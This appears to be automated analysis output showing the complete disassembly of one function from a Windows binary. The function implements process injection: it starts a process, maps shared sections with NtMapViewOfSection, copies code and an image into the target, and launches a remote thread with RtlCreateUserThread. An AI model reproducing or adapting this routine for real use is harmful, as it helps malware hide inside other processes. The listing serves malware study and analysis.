Function at 0x412f90
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
mov dword [ebp - 0xc], 0
push 0x44
lea eax, [ebp - 0x70]
push eax
call fcn.0041dff0
add esp, 8
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x44], 0x81
xor ecx, ecx
mov word [ebp - 0x40], cx
mov edx, dword [ebp + 0x18]
neg edx
sbb edx, edx
and edx, 4
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x70]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp - 0x24]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
push 0
call dword [0x489400]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x413791
push 0x4330cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x78], eax
push str.NtCreateSection
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x88], eax
push str.NtMapViewOfSection
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
push str.RtlCreateUserThread
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7c], eax
push str.NtUnmapViewOfSection
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x80], eax
push str.NtClose
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x88], 0
je 0x41375d
cmp dword [ebp - 0x90], 0
je 0x41375d
cmp dword [ebp - 0x7c], 0
je 0x41375d
cmp dword [ebp - 0x80], 0
je 0x41375d
cmp dword [ebp - 0x84], 0
je 0x41375d
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
add ecx, 0x18
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0x91c
mov dword [ebp - 0x94], 0
push 0
push 0x8000000
push 4
lea edx, [ebp - 0x98]
push edx
push 0
push 6
lea eax, [ebp - 0x9c]
push eax
call dword [0x4893a8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41375d
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0x91c
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413750
mov dword [ebp - 0xb4], 0
push 4
push 0
push 2
lea ecx, [ebp - 0xb0]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41373f
mov dword [ebp - 0xc4], 0
mov edx, 0x414380
sub edx, 0x4137a0
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
push 0
push 0x8000000
push 0x40
lea edx, [ebp - 0xc0]
push edx
push 0
push 0xe
lea eax, [ebp - 0xc4]
push eax
call dword [0x4893a8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x41373f
mov dword [ebp - 0xc8], 0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0xcc], ecx
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413732
mov dword [ebp - 0xd0], 0
push 0x40
push 0
push 2
lea edx, [ebp - 0xcc]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc4]
push edx
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413721
mov eax, dword [ebp - 0xb8]
push eax
push 0x4137a0
mov ecx, dword [ebp - 0xc8]
push ecx
call fcn.00422a00
add esp, 0xc
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0xd4], edx
push 0x433138
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0xd8], eax
push 0x433154
mov eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
push 0x433164
mov edx, dword [ebp - 0xd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx + 4], eax
push 0x433174
mov edx, dword [ebp - 0xd4]
add edx, 8
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x433190
mov eax, dword [ebp - 0xd4]
add eax, 0xd2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x4331a8
mov ecx, dword [ebp - 0xd4]
add ecx, 0x266
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331b0
mov edx, dword [ebp - 0xd4]
add edx, 0x2ca
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331c0
mov eax, dword [ebp - 0xd4]
add eax, 0x32e
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331cc
mov ecx, dword [ebp - 0xd4]
add ecx, 0x3f6
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331dc
mov edx, dword [ebp - 0xd4]
add edx, 0x45a
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331e8
mov eax, dword [ebp - 0xd4]
add eax, 0x4be
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4331f4
mov ecx, dword [ebp - 0xd4]
add ecx, 0x522
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x433200
mov edx, dword [ebp - 0xd4]
add edx, 0x586
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x43320c
mov eax, dword [ebp - 0xd4]
add eax, 0x5ea
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0xdc], edx
push 0
push 0x8000000
push 4
lea eax, [ebp - 0xe0]
push eax
push 0
push 6
lea ecx, [ebp - 0xe4]
push ecx
call dword [0x4893a8]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413721
mov dword [ebp - 0xec], 0
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xe8], edx
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0xe4]
push edx
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413714
mov dword [ebp - 0xf0], 0
push 4
push 0
push 2
lea eax, [ebp - 0xe8]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0xf0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x4893ac]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x413703
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xec]
push eax
call fcn.00422a00
add esp, 0xc
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xf0]
mov dword [ecx + 0x914], edx
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x918], ecx
mov dword [ebp - 0xf4], 0
mov edx, dword [ebp + 0x20]
push edx
push 0
push 1
push 0
call dword [0x4893fc]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x413703
mov dword [ebp - 0xf8], 0
push 0
lea eax, [ebp - 0xf8]
push eax
mov ecx, dword [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x4893b4]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x4136f6
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x1c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [edx + 4], eax
push 0xbb8
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [0x48940c]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x102
je 0x4136c1
mov edx, dword [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x4893b0]
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x4893b0]
mov eax, dword [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x4893b0]
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [0x4893b0]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x4893b0]
mov eax, dword [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [0x4893b0]
mov edx, dword [ebp - 0x9c]
push edx
call dword [0x4893c4]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x4893c4]
mov ecx, dword [ebp - 0xe4]
push ecx
call dword [0x4893c4]
mov edx, dword [ebp - 0xf4]
push edx
call dword [0x4893e4]
mov eax, 1
jmp 0x413793
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x489418]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x4893e4]
mov edx, dword [ebp - 0x18]
push edx
call dword [0x4893e4]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xf4]
push eax
call dword [0x4893e4]
mov ecx, dword [ebp - 0xec]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x4893b0]
mov eax, dword [ebp - 0xe4]
push eax
call dword [0x4893c4]
mov ecx, dword [ebp - 0xc8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x4893b0]
mov eax, dword [ebp - 0xc4]
push eax
call dword [0x4893c4]
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [0x4893b0]
mov eax, dword [ebp - 0x9c]
push eax
call dword [0x4893c4]
cmp dword [ebp - 0xc], 0
jne 0x413791
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x489418]
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x4893e4]
mov eax, dword [ebp - 0x18]
push eax
call dword [0x4893e4]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
xor eax, eax
mov esp, ebp
pop ebp
ret